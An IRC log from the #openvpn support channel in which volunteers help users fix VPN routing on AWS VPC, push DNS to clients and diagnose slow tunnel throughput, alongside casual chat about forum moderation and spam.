19:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
19:25 <@krzee> !download
19:25 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
19:25 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
19:47 -!- elfixit [~Icedove@82.197.179.4] has joined #openvpn
19:49 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
19:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
19:56 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
19:57 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
20:14 < Ziber> hey krzee
20:15 <@krzee> hey
20:16 < Ziber> So, I have to take out the pull options from the clients conf?
20:16 <@krzee> --pull doesnt have options
20:17 <@krzee> and its already implied in --client
20:17 < Ziber> Okay.
20:17 <@krzee> if you read the manpage on --client you'll see it includes --pull
20:18 -!- elfixit [~Icedove@82.197.179.4] has quit [Ping timeout: 240 seconds]
20:18 < Ziber> Alright. And you wanted to see the client's ccd, right?
20:19 <@krzee> ya
20:19 < Ziber> http://pastebin.com/TBMXHvXK
20:21 <@krzee> ok restart the vpn on the server and the client
20:22 < Ziber> Okay?
20:22 < Ziber> Done.
20:22 <@krzee> from the server, can you ping the client by vpn ip?  by lan ip?
20:23 < Ziber> Yes, to both.
20:23 <@krzee> and there is no nat on either, right?
20:23 < Ziber> Correct.
20:23 <@krzee> great, finally!
20:24 < Ziber> Right.
20:24 <@krzee> so now, can you ping hydrogen from the server?
20:24 < Ziber> No.
20:24 <@krzee> show me hydrogen's routing table
20:24 < Ziber> [ziber@hydrogen] (~) $ ip route
20:24 < Ziber> default via 10.220.0.1 dev eth0
20:24 < Ziber> 10.220.0.0/24 dev eth0  proto kernel  scope link  src 10.220.0.11
20:25 <@krzee> thats all?
20:25 < Ziber> Yes.
20:25 <@krzee> 1sec
20:25 <@krzee> route add -net 10.192.254.0/24 gw 10.220.0.10
20:26  * pekster sends krzee back to the early 2000's :P
20:26 <@krzee> LD
20:26 <@krzee> :D
20:27 < Ziber> Considering I have route access in the VPC, can't I do this without manual routes on the client?
20:27 <@krzee> Ziber, evidently no
20:27 <@krzee> probably what "propogate" means
20:27 < Ziber> Rather... shouldn't I have NAT entries on oxygen since the router points 10.192.254.0/24 to that server?
20:27 <@krzee> you only have 3 machines
20:27 <@krzee> cant handle adding the same route 3 times?
20:28 <@krzee> either way, just do it and see if it works
20:29 <@krzee> cause eventually its not an openvpn problem, and you can do whatever you like to keep playing with it ;]
20:30 < Ziber> Routing it via 10.220.0.10 (oxygen) still isn't going to work. Oxygen won't know what to do with those packets, if there's no natting or forwarding entries.
20:30 <@krzee> wrong
20:30 < Ziber> How?
20:31 <@krzee> if oxygen has ip forwarding enabled (which it does or you couldnt ping its lan ip from server) then it'll forward the packets according to its routing table
20:31 < Ziber> hydrogen now has: 10.192.254.0/24 via 10.220.0.10 dev eth0
20:31 < Ziber> and it still can't ping 10.192.254.1
20:32 <@krzee> now can the server ping hydrogen?
20:32 < Ziber> No.
20:32 -!- schnitzl [~schnitzl@dslb-094-217-197-179.pools.arcor-ip.net] has quit [Ping timeout: 264 seconds]
20:33 <@krzee> i guess pekster was right in the first place (not rare ;) you must need to use the nathack (only on the client)
20:33 -!- schnitzl [~schnitzl@dslb-188-105-230-009.pools.arcor-ip.net] has joined #openvpn
20:33 <@krzee> traffic to the vpn subnet from lan subnet going out tun0 needs to nat
20:34 <@krzee> and traffic to the lan from vpn subnet going out eth0 needs to nat
20:36 < Ziber> With these two rules in place, VPN server can ping hydrogen. But not the other way around.
20:36 < Ziber> [root@oxygen] (/etc/openvpn) # iptables -t nat -A POSTROUTING -d 10.220.0.0/24 -o eth0 -j MASQUERADE
20:36 < Ziber> [root@oxygen] (/etc/openvpn) # iptables -t nat -A POSTROUTING -d 10.192.254.0/24 -o tun0 -j MASQUERADE
20:39 <@krzee> tcpdump for icmp on all machines (tun, when it applies) and then ping again
20:39 <@krzee> see where it dies
20:39 < Ziber> There's a way to filter tcpdump to only show icmp, right?
20:42 <@krzee> right, it has tons of options on how to filter
20:43 <+pekster> Ziber: Your reference is pcap-filter(7), but to watch just pings try a variation of `tcpdump -pni ethWhatever icmp`
20:44 <+pekster> Well, all ICMP really (useful if things spew back an icmp error)
20:44 < Ziber> The packets aren't even getting to oxygen, from hydrogen.
20:44 < Ziber> I just did "tcpdump 'icmp' -i <interface>"
20:44 <@krzee> on all involved machines?
20:45 < Ziber> Yes.
20:45 < Ziber> And what I see is that ping packets from hydrogen aren't even going to oxygen, let alone to caton.
20:45 <@krzee> oh i see
20:45 <@krzee> so hydrogen cant ping oxygen AT ALL?
20:46 < Ziber> hydrogen can ping oxygen, but the packets would have to have been routed through oxygen.
20:46 < Ziber> hydrogen can ping 10.220.0.10
20:46 <@krzee> then it should be able to route through it
20:47 <@krzee> this could be apc lamesauce
20:47 <@krzee> whatever apc is :D
20:47 < Ziber> aws, vpc. :P
20:48 <@krzee> i dont believe in clouds
20:48 < Ziber> Tell me that the next time it rains.
20:49 <+pekster> AWS? They do some weird things on the VPC environments specifically because they don't want you routing across them
20:49 < Ziber> seemingly so.
20:49 <@krzee> o really
20:49 < Ziber> from ##aws: [21:48:31] < shibz> Ziber, Ah ok.  I don't think that the VPC "Route Propagation" feature can be used for that
20:49 <@krzee> i never knew
20:49 <+pekster> You'd have to do reading becuase I haven't played with them enough to know the details
20:49  * Ziber will know quite a bit after he figures this out. 
20:50 <+pekster> krzee: Yea, AWS wants you to pay them for some of this. The whole idea is that it's a "private" cluster or something, and their network deal restricts what the LAN can send. Or something
20:50 <@krzee> ohh
20:51 <@krzee> heres a lan, pay us to darknet it
20:51 <+pekster> They have a "hardware VPN" service (w/e that means for a company selling VM time..) they'd rather you use, so it's not really in their best interest to make this easy either. There are some solutions out there, but I don't really recall what they are, or if there's a way to turn off the "protection" in the VPC
20:51 < Ziber> FIGURED IT OUT.
20:51 < Ziber> Eat that, Amazon.
20:51 <@krzee> lol
20:51 <@krzee> what was it?
20:51  * krzee smells a new factoid
20:51  * Ziber sighs
20:51 < Ziber> Okay.
20:52 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
20:52 < Ziber> So, in the AWS console, you can disable 'source/destination checks', which allow you to route outside of the VPC. Which is a LAN-ception concept, that's isolated beyond belief.
20:53 <@ecrist> krzee: have all our links at our new data center
20:53 <@ecrist> >:)
20:53 < Ziber> So I disabled that on my VPN client machine.
20:53 <@krzee> booya, you are officially the internet ecrist
20:53 < Ziber> I should blog this.
20:53 <@ecrist> 2 x 1G connections, plus 1 x 100M
20:54 <@krzee> Ziber, feel free to make an article on community.openvpn.net if you like
20:54 <@ecrist> native v6
20:54 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 260 seconds]
20:54 < Ziber> I want v6!
20:54 < Ziber> Well, native, at least.
20:54 < Ziber> I have tunnels.
20:54 <@krzee> then we'll link the bot to it and next time we'll just say !aws
20:54 <@ecrist> http://bgp.he.net/AS62708
20:54 <@vpnHelper> Title: AS62708 ClaimLynx, Inc. - bgp.he.net (at bgp.he.net)
20:55 <@krzee> Ziber, if you happen to already have a forum account its the same login for the wiki
20:55 < Ziber> I don't.
20:55 < Ziber> But if I blog it at all, it'll be on my personal blog.
20:55 <@krzee> ahh ok cool
20:56 < Ziber> Now. To set up DNS resolution on the vpn server.
20:56 <@krzee> !learn aws as Ziber> So, in the AWS console, you can disable 'source/destination checks', which allow you to route outside of the VPC. Which is a LAN-ception concept, that's isolated beyond belief.
20:56 <@vpnHelper> Joo got it.
20:56 <@krzee> now you will tell everyone who comes after ;]
20:57 < Ziber> Haha.
20:57 < Ziber> I feel accomplished. Almost more so for that, than for what I actually accomplished.
20:57 <@krzee> like this guy has for years
20:57 <@krzee> !fbsdjail
20:57 <@vpnHelper> "fbsdjail" is <thei0s> krzie: if you are interested in the solution: I needed to add to hosts rc.conf the creation of tun0 device, create a special devfs ruleset with tun0 unhiden, configure that it is used in the devfs mount point inside chroot in my jail and specify openvpn --dev tun0 parameter and it seems that this is it... so, thank you for assistance and ideas
20:57 <@krzee> :D
20:57 < Ziber> Thank you, btw. You've helped me tons.
20:58 < Ziber> Also. push "dhcp-option DNS 10.192.254.1" should do what it says it does, in server.conf, right?
20:58 <@ecrist> yes and no
20:58 <@ecrist> DNS is funny
20:58 <@krzee> you'll need a script on all non-windows clients
20:58 <+pekster> Unless you're on Windows, then it's a funny as a clown from 10/31 movies
20:58 <@ecrist> it has to be implemented outside openvpn with scripts or a helper on non-windows machines
20:58 <@ecrist> tunnelblick takes care of it for macs
20:59 <@krzee> aka:
20:59 <@krzee> !pushdns
20:59 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
20:59 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
20:59 <@ecrist> also, I think the android and ios clients do the right thing
20:59 <@krzee> #4
20:59 <+pekster> Well, #4 applies only to systems actually using resolvconf ;)
20:59 <@ecrist> howdy pekster 
21:00 <+pekster> Salutations. Sounds like your mighty-connected this evening
21:00 <@krzee> haha
21:00 < Ziber> update-resolv-conf... okay.
21:01 <+pekster> Ziber: If your distro implementations uses resolvconf as part of the DNS setup, that script may work for you as-is or with a little modification. Otherwise you need to add nameservers to resolv.conf yourself and deal with what your local DHCP daemon does on renewals (some like to wipe it out unless otherwise configured)
21:02 <+pekster> A lot of that is distro-specific, depending on the tools they use and what you've possibly installed on top of it
21:02 <@ecrist> krzee / pekster: with last week's OS X update, 5.8G download, it took me about 6 minutes plugged in at the DC
21:02 <@ecrist> we have 1G straight to an akamai cluster
21:03 <+pekster> And may your chosen deities help you if you run ubuntu with its dbus-only-dnsmasq setup
21:08 -!- Serus [~Dragoon@31-151-158-2.dynamic.upc.nl] has quit [Quit: bye]
21:09 < Ziber> Now I remember why I had the natting rules on my vpn server. So I could connect to the internet from my laptop through it :D
21:13 < Ziber> I'm not terribly sure what resolvconf is... but I just manually overrided the resolv.conf on one of my AWS machines and it reset itself again. Is that something to do with resolvconf?
21:13 <@ecrist> This is a good read, word of caution, the picture in the header may be NSFW for some:  http://twentiescollective.com/2013/10/26/you-should-date-a-girl-who-doesnt-read-by-charles-warnke/
21:16 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
21:17 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
21:26 <@krzee> Ziber, now you may not need the NAT
21:26 <@krzee> in fact you'll need the route either way if you need the nat
21:26 < Ziber> krzee: On my VPN server, I do.
21:26 <@krzee> the route on each endpoint
21:27 < Ziber> I've got all the connectivity I want right now. My next project is having the VPN set DNS on oxygen.
21:27 <@krzee> if hydrogen didnt have its route it would not be able to ping the server by vpn ip
21:27 <@krzee> and if it can without a route, it can without NAT
21:28 <@ecrist> wowsers, more evidence you don't fuck with a Marine.  Cop shot in the face, chases down the suspects: http://www.cnn.com/video/data/2.0/video/bestoftv/2013/11/01/exp-newday-brown-texas-cop-shot.cnn.html?hpt=hp_t2
21:28 <@vpnHelper> Title: Mother of two chases, captures alleged shooter - CNN.com Video (at www.cnn.com)
21:28 <@krzee> because without that route on hydrogen it will route to APC not oxygen
21:28 < Ziber> Right. But the VPC routes to oxygen.
21:29 <@ecrist> fuck it all, BGP everywhere
21:29 <@krzee> cool so if the VPC is down with that now, you dont need nat at all
21:29 <@krzee> the ONLY reason you needed nat was cause APC wasnt doing that
21:31 < Ziber> Yeah, you're right.
21:31 < Ziber> Now, DNS time.
21:32 <+pekster> NAT between 2 private networks you control is usually the wrong solution. And don't get me started on AWS's lack of IPv6 support
21:32 <@ecrist> the forums box is on AWS, get's IPv6 from HE
21:32 < Ziber> Well, now routing works.
21:32 < Ziber> Yeah. I can tunnel IPv6 if I want.
21:35  * ecrist <3 HE
21:35 <@ecrist> one of our pipes is an HE piipe
21:35 <@ecrist> pipe*
21:41 -!- debbie10t_afk [~ma1com10t@host-92-20-13-103.as13285.net] has joined #openvpn
21:41 -!- mode/#openvpn [+o debbie10t_afk] by ChanServ
21:41 <@ecrist> evening, debbie10t_afk 
21:41 <@krzee> sup debbie10t_afk
21:41 <@debbie10t_afk> hey
21:41 <@debbie10t_afk> did i do something wrong ?
21:42 -!- debbie10t_afk is now known as debbie10t
21:42 <@ecrist> for my own sanity, as there is ambiguity in your name (accoumt m10t, other username debbie10t), are you a man or woman?
21:42 <@ecrist> no, why?
21:42 <@ecrist> that question cements you in the lady category
21:42 <@debbie10t> ahh .. i see
21:42 <@debbie10t> i thought i had done enough
21:43 <@debbie10t> slash whois
21:43 <@ecrist> maybe you're a dude named Deborah
21:43  * ecrist doesn't judge
21:43  * Ziber does
21:43 <@ecrist> lol
21:44 <@ecrist> debbie10t: you've done plenty, something amiss?
21:44 <@ecrist> aside from my beverage being empty?
21:44 <@debbie10t> is my gnome of conscequnce ?
21:44 <@ecrist> nope, not at all
21:45 <@ecrist> not a lot of ladies into the tech stuff, though
21:45 <@krzee> debbie10t, whats wrong?
21:45 <@debbie10t> well ... i feel like there is a trial a foot and i need a drink
21:45 <@ecrist> a trial?
21:45 <@ecrist> hah, we're not ambitious enough for that
21:45 <@debbie10t> so what say we cool out and figure out what exactly is important here
21:45 <@krzee>  <debbie10t_afk> did i do something wrong ?
21:46 <@krzee> did i miss something?
21:46  * ecrist wonders, too
21:46 <@debbie10t> . . .
21:46 <@krzee> did you?  nothing i know of...
21:46 <@debbie10t> seriously
21:46 <@debbie10t> whaty do you really wanna know
21:47 <@debbie10t> if i is xx or xy
21:47 <@ecrist> lol, yeah that was the question
21:47 <@ecrist> I was just curious
21:47 <@ecrist> no trial or anything crazy
21:48 <@debbie10t> sure feels like some crazy assed bitch burnin to me
21:48 <@krzee> srs?
21:48 <@ecrist> no, not at all
21:48 <@ecrist> defensive, much?
21:49 <@debbie10t> i am not who i appear to be .. nut i assure you i am of the xy
21:49 <@ecrist> it really doesn't matter, other than I was curious
21:49 <@debbie10t> you know what this internet stuff is like
21:49 <@debbie10t> dang it
21:50 <@debbie10t> now i feel bad
21:50 <@ecrist> around here, you really need to chill the fuck out
21:50 <@ecrist> thar be trolls lurking 
21:50 <@debbie10t> like monster trolls
21:50 <@debbie10t> i know it
21:50 <@ecrist> IRC is generally more hostile than a web forum.
21:51 <@ecrist> and I've been drinking. :P
21:51 <@debbie10t> dang .. this is the best
21:51 <+pekster> drinks, git/svn, and a good code review in the morning can make fun things happen. Usually progress, although sometimes just a lot of reverts and a bad hangover ;)
21:52 <@debbie10t> some times all i dream about id feckin code
21:52 <@debbie10t> i know what you all mean
21:52 <@debbie10t> i realise i been some nobody and you trusted me
21:52 <@debbie10t> but i have not been a shit head
21:52 <@ecrist> I can fix that in a hurry...
21:53 <@debbie10t> i bet you can
21:53 <@debbie10t> exactly wjhat is the problem .. you want me to fly out west and meet you all
21:53 -!- mode/#openvpn [-o debbie10t] by ChanServ
21:53 -!- mode/#openvpn [+o debbie10t] by ChanServ
21:53 <@ecrist> I"m not out west
21:54 <@ecrist> there is no problem
21:54 <@ecrist> really, for real and srs
21:54 <@ecrist> krzee and pekster aren't out west, either.
21:54 < Ziber> Anyway, you all have fun with Mr. (mrs?) crazy. off to do some drinking of my own. And some board-gaming, too.
21:54 <@debbie10t> you have seen that nicolas cage film right . . season of the witch
21:55 <@ecrist> l8r Ziber 
21:55 < Ziber> Thanks again for your help, men. (I'm assuming you're men)
21:55 <@ecrist> lol
21:55 <@ecrist> debbie10t: no, I have not
21:55 <@debbie10t> hrm
21:56 <@debbie10t> ok .. just fkn drop me if u dont trust me
21:56 <@krzee> o.O
21:56 <@krzee> are ok debbie10t?
21:56 <@debbie10t> sure
21:56 <@krzee> k
21:56 <@debbie10t> all i said to krzee was how do i get +v
21:57 <@krzee> we gave you +o
21:57 <@ecrist> due to your help on the forums
21:57 <@krzee> thats more than +v
21:57 <@debbie10t> i like +o but i dont have a problem either way
21:57  * Ziber wants +o... :( 
21:57 -!- mode/#openvpn [+o Ziber] by ecrist
21:57 <@ecrist> +o for all!
21:57 <@debbie10t> i love the forums
21:57 <@Ziber> :D
21:57 <@Ziber> hey thanks.
21:57 <@debbie10t> it is getting  a bit wild but i am learning
21:58 <@ecrist> as I've said, don't burn yourself out.
21:58 <@debbie10t> +o for all ---- lol
21:58 <@ecrist> I really prefer the forums run themselves.  and that means promoting people who use the forum to moderator
21:59 <@debbie10t> i just dont wanna piss ppl like JJK and Maikat off
21:59 <@ecrist> and, if those folks want to venture to IRC, I forward the promotion here.
21:59 <@debbie10t> i wanna helkp
21:59 <@ecrist> unless they're crazy
21:59 <@debbie10t> but not quite sure ghow far to go
21:59 <@ecrist> what do you mean?
22:00 <@debbie10t> bans etc
22:00 <@krzee> debbie10t, why do you think you would piss them off?
22:00 <@ecrist> ban away
22:00 <@ecrist> fuckers on the forum deserve it
22:00 <@ecrist> and, if you'er banning people, who cares if you piss them off
22:00 <@debbie10t> when i joined forums i noticed some total spammers
22:00 <@ecrist> if they don't like it, the email generally comes to me
22:00 <@debbie10t> but - i just gave them a wise birth
22:01 <@krzee> hey feel free to ban spammers!
22:01 <@ecrist> spammers need to be banned
22:01 <@ecrist> with prejudice
22:01 <@krzee> thats a big part of modding
22:01 <@debbie10t> you giys let me have some power and i banned some guy tonight
22:01 <@ecrist> the biggest, really
22:01 <@debbie10t> benin10 or something
22:01  * ecrist looks
22:01 <@debbie10t> ok ..
22:01 <@debbie10t> now i know
22:01 <@debbie10t> fuck em all !
22:02 <@debbie10t> :)
22:02 <@debbie10t> i think we are on the same page // at last
22:02 <@krzee> i mean if its a vpn company and it seems like a human then they can likely be talked to and there might even be a responsible way to mention their service
22:03 <@ecrist> ben09in
22:03 <@krzee> but if theres some script posting spam, its probably not even a human
22:03 <@debbie10t> ben09in
22:03 <@debbie10t> whats the deal .. i knew you guys were spamming
22:04 <@debbie10t> i agree which is whyt i sent a casual warning
22:04 <@debbie10t> but then the record collection shit just pissed me off
22:04 <@debbie10t> at least be on topic
22:04 <@debbie10t> or in the right topic
22:05 <@ecrist> record collection?
22:05 <+pekster> What is this, fools that want "no logging VPNs" or some BS? I like to make fun of them when they insist on that somewhere like ##networking, but what I ought to do is do a writeup on why that is a silly/bogus thing to want anyway
22:06 <@krzee> ben09in looks like spammer
22:07 <@debbie10t> i deleted it all .. but he was saying something about his record collection (rock n roll) and then some one post asshole posted a follow up .. to remove it from the new post list .. so i deleted the one post FU totally and then banned ben09in for three months
22:07 <@debbie10t> no xmas for hijm
22:07 <@debbie10t> but seriously .. i dont mind
22:07 <@debbie10t>  i was just trying to do a good job
22:08 <@ecrist> debbie10t: at this point, don't worry about the job you're doing unless you get talked to by myself or krzee, or samuli
22:08 <@debbie10t> it is openvpm . . .
22:08 <@ecrist> aka mattock
22:08 <@debbie10t> i got a job .
22:08 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
22:09 <@debbie10t> you guys rock
22:09 <@debbie10t> if i piss u off just let me know
22:09 <@ecrist> you're right, that dude/whatever is a spammer
22:09 <@ecrist> trust me, you'll know
22:09 <@debbie10t> cool :)
22:10 <@debbie10t> i knew i would
22:10 <@krzee> i bet his accoung got owned by a spammer
22:10 <@krzee> first couple posts were valid
22:10 <@krzee> then boom SPAM
22:10 <@debbie10t> exactly
22:11 <@krzee> now if you look at his posts, he still has spam links
22:11 <@debbie10t> so . . are we cool ?
22:11 <@debbie10t> i am on the spammers
22:11 <@krzee> example:  https://forums.openvpn.net/topic13901.html
22:11 <@vpnHelper> Title: OpenVPN Support Forum court reporting : Cert / Config management (at forums.openvpn.net)
22:11 <@krzee> that whole post was just to get his link in there
22:11 <@krzee> as an attempt to get it SEO
22:12 <@debbie10t> tha is why i asked if there was a low down on some people getting thtu
22:12 <@debbie10t> thru*
22:12 <@krzee> it happens, go ahead and delete them when you see them, you can feel free to fully delete the account and all posts if you like
22:13 <@krzee> or ban them and delete the spam, whatever you like
22:13 <@krzee> and ya we're cool, we never have been less than cool
22:13 <@ecrist> debbie10t: when you ban a spammer, delete all their posts, as well
22:13 <@debbie10t> oky doky
22:13 <@krzee> https://forums.openvpn.net/topic13902.html
22:13 <@vpnHelper> Title: OpenVPN Support Forum Help running old, old program run on XP... : Cert / Config management (at forums.openvpn.net)
22:13 <@ecrist> https://www.youtube.com/watch?v=_B5mAMCytG8
22:13 <@vpnHelper> Title: Pulp Fiction - Are we okay - YouTube (at www.youtube.com)
22:14 <@krzee> when you saw that post https://forums.openvpn.net/topic13902.html
22:14 <@vpnHelper> Title: OpenVPN Support Forum Help running old, old program run on XP... : Cert / Config management (at forums.openvpn.net)
22:14 <@krzee> notice the link he posted at the bottom of his post
22:14 <@krzee> that is the spam
22:14 <@ecrist> they don't expect our users to click them, they expect the spiders to see them
22:14 <@krzee> exactly
22:14 <@debbie10t> yup
22:14 <@debbie10t> i was a chump on that one
22:14 <@krzee> so we wanna delete those
22:15 <@debbie10t> no prob
22:15 <@ecrist> I'll take care of it
22:15 <@debbie10t> :) ecraist steps in
22:15 <@debbie10t> where is that eugine
22:16 <@debbie10t> serioudly . i am 100% on the good guys side
22:16 <@debbie10t> just had a lot going on
22:17 <@debbie10t> u know i am in london england right
22:17 <@ecrist> nope
22:18 <@debbie10t> well now you do
22:22 <@debbie10t> i am just a widdle fish in a big pond
22:22 <@debbie10t> but i got teeth
22:25 <@debbie10t> are we cool ?
22:26 <@krzee> why do you keep asking that?
22:28 <@debbie10t> i just dint wanna step on ppls toes
22:28 <@krzee> nah you were just moderating, thats a good thing for a moderator to do =]
22:30 <@debbie10t> i look up the links and i see competeing vpn products but i dont know if you guys were trying to skim off o a few paying customers .. #
22:30 <@krzee> nope we dont spam, dont want spammers
22:31 <@debbie10t> its sensible business
22:31 <@debbie10t> ok
22:31 <@debbie10t> openvpn or nothin
22:34 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
22:34 <@krzee> personally it wouldnt matter to me if someone posted saying they started a vpn service or whatever, but it also wouldnt matter to me if they got warned for it
22:34 <@krzee> we're pretty easy going
22:35 <@debbie10t> ok . . i know what you mean ... ben09in was pushin his/her luck
22:36 <@debbie10t> 3 month ban seems fair to me
22:36 < EugeneKay> I can't tell what's going on
22:36 <@debbie10t> no xmas spam
22:36 < EugeneKay> Where is my booze
22:36 <@debbie10t> hey eugene ;)
22:36 <@debbie10t> i am drinkin it
22:37 < EugeneKay> Bayard
22:37 < EugeneKay> Bastard
22:37 <@debbie10t> ooo ... bitch
22:38 <@debbie10t> you know what they say .. eugenekay .. is always right
22:40 <@debbie10t> <EugeneKay>I can't tell what's going on
22:40 <@debbie10t> i am getting a lesson
22:42 <@debbie10t> sorry for the quote
22:43  * ecrist poofs
22:44  * debbie10t rofls
22:44 <@debbie10t> as it were
22:45  * debbie10t is embaressed
22:46  * pekster left a bottle of nice booze in Chippewa Falls last week :\
22:46  * debbie10t is a debutant afterall
22:47 <@debbie10t> pekster ;)
22:51  * debbie10t realises why "The Rum is Always Gone"  ... aka jack sparrow
22:53 <+pekster> In my case, becauase I was foolish enough to bring it out and share with friends, then leave it on the counter for the morning people to helpfully put it out of sight under the counter. Right where I won't look when I leave the next day :P
22:53 <+pekster> Oh well, that was a fun night, so who am I to really complain ;)
22:56  * debbie10t is reduced to drinking TCP (the medicated from) to keep up with the competititition
22:58 <@debbie10t> i just fkn necked a beer aswell
23:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
23:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
23:02 -!- debbie10t2 [~ma1com10t@host-92-20-13-103.as13285.net] has joined #openvpn
23:04 -!- fling [~fling@fsf/member/fling] has quit [Ping timeout: 246 seconds]
23:06 -!- debbie10t [~ma1com10t@host-92-20-13-103.as13285.net] has quit [Ping timeout: 260 seconds]
23:07 -!- debbie10t2 [~ma1com10t@host-92-20-13-103.as13285.net] has quit [Client Quit]
23:16 -!- fling [~fling@fsf/member/fling] has joined #openvpn
23:20 -!- marlinc_ [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
23:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
23:25 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
23:27 < JuddyJacob> Anybody willing to provide some guidance on a FreeBSD openvpn server?
23:28 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Remote host closed the connection]
23:29 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
23:30 -!- nsgn [~nsgn@cpe-24-28-25-43.austin.res.rr.com] has joined #openvpn
23:31 < nsgn> well..i'm somewhat stumped. I have a bridged connection between a facility with a 100x100 connection and a 40x40 connection, both dedicated fiber, but over my openvpn tunnel the most i can move is about 4mbps
23:32 < nsgn> ping times between locations are 7ms. the internet at each place is obviously great
23:32 < nsgn> what am i doing wrong?
23:34 < JuddyJacob> QOS rules in the firewall maybe?
23:34 < nsgn> I control the firewall. I'm not really doing any QOS. Also it's after hours. the thing is idle. 40x40 at the slowest end at our full disposal
23:34 < nsgn> the other obviously much faster
23:36 < JuddyJacob> Did you run a trace route and confirm the packet path is right?
23:37 < nsgn> it seems to be. it has only one hop...directly since the connection is bridged not routed
23:38 < JuddyJacob> How are you measuring the throughput?
23:38 -!- Guest5980 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
23:39 < nsgn> JuddyJacob, real world. windows file transfer between two windows servers
23:39 < nsgn> which is honestly most of what we need to do and need it to not be this bad :)
23:42 < JuddyJacob> nsgn: not to sound redundant, but i‘m assuming you have transfered files to the server locally and confirmed a much faster transfer rate?
23:42 < nsgn> yes. the server locally can hit 100mbps (the speed of our switch)
23:46 < JuddyJacob> Inheritly, tun is much slower than tap, or so I've read, also playing with the mtu's and compression might help. Try disabling compression and use 1400 as a mtu value
23:46 < nsgn> I'm using TAP
23:46 < nsgn> how do i set the mtu? sorry if that's a dumb question :)
23:47 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
23:47 < JuddyJacob> No worries, I'm new to actually new to configuring openvpn server myself, but you need to find your client config first
23:47 < JuddyJacob> Windows? Linux?
23:48 < nsgn> The server is pfsense (bsd) and the client is windows
23:48 < nsgn> i know where the config is on each
23:49 < JuddyJacob> Ah, FreeBSD !!!!! :-):-)
23:51 < JuddyJacob> My favorite, lol just put tun-mtu 1400 on the client config, you might want to remove the compression too
23:51 < JuddyJacob> To test at least
23:52 < JuddyJacob> Is it also setup as a gateway to gateway connection?
23:53 < nsgn> There is no gateway on the other side
23:53 < nsgn> It's a dedicated server in a hosting facility with a public IP
23:55 <@krzee> JuddyJacob> Inheritly, tun is much slower than tap, or so I've read, also playing with the mtu's and compression might help. Try disabling compression and use 1400 as a mtu value
23:55 <@krzee> why do you think that?
23:56 <@krzee> tap has a slightly larger payload for every single packet
23:56 < nsgn> either way with the absurd amount of bandwidth i have between sites at 7ms ping i shouldnt have any concern with overhead
23:57 <@krzee> !gigabit
23:57 < JuddyJacob> Its just what I've read, i don't really have any experience with tun, up until 3 days ago
23:57 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
23:57 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has quit [Remote host closed the connection]
23:57 -!- JuddyJacob [~androirc@unaffiliated/juddyjacob] has joined #openvpn
23:58 < nsgn> well, i will say i don't quite have gigabit between the sites, but i have mutiple, multiple times the performance i'm seeing over openvpn
23:58 <@krzee> still, read it
23:58 < nsgn> reading
23:58 <+pekster> JuddyJacob: tun is just an L3 transport method; it's actually a PtP interface (at least on proper OSes like BSD & Linux) that can be configured with an ip/netmask as far as userland is concerned
--- Day changed Sat Nov 02 2013
00:00 < nsgn> only thing i really get out of that article is to increase the MTU..which obviously i may not be able to do over my ISP
00:00 <+pekster> Disabling compression might be a good bet too, though if comprmession was the limiting factor you'd expect to see 100% CPU on one side
00:01 < nsgn> pekster, i've tried compression on and off. no difference
00:01 < nsgn> cpu sits at about 50% on the pfsense box and doesn't really budge on the xeon quad
00:02 < JuddyJacob> Did you check the open VPN logs for anything suspicious
00:02 <+pekster> dual-CPU? (and/or HT) ?
00:02 <+pekster> OpenVPN is single-threaded, so 50% "CPU" might actually be 100% on 1 core
00:02 < nsgn> pekster, the xeon has it all. the pfsense box is a 1.8ghz celeron but it does have intel NICs. and yeah..i kindof fear you're right about saturating a single thread
00:03 < nsgn> pekster, should openvpn without compression enabled really be that CPU heavy, though?
00:03 < nsgn> i'm not asking for gigabit. i just want 40mbps
00:03 <+pekster> Yes, it can be, especially when your hardware is that old
00:03 <+pekster> What cipher are you using?
00:04 < nsgn> AES-128
00:04 < nsgn> ah. i didnt think about the crypto running up the cpu
00:04 <+pekster> In software, openssl tends to see the best results with BF, but AES-NI hardware can benefit from crypto engines on the processor
00:04 < nsgn> but obviously it probably does
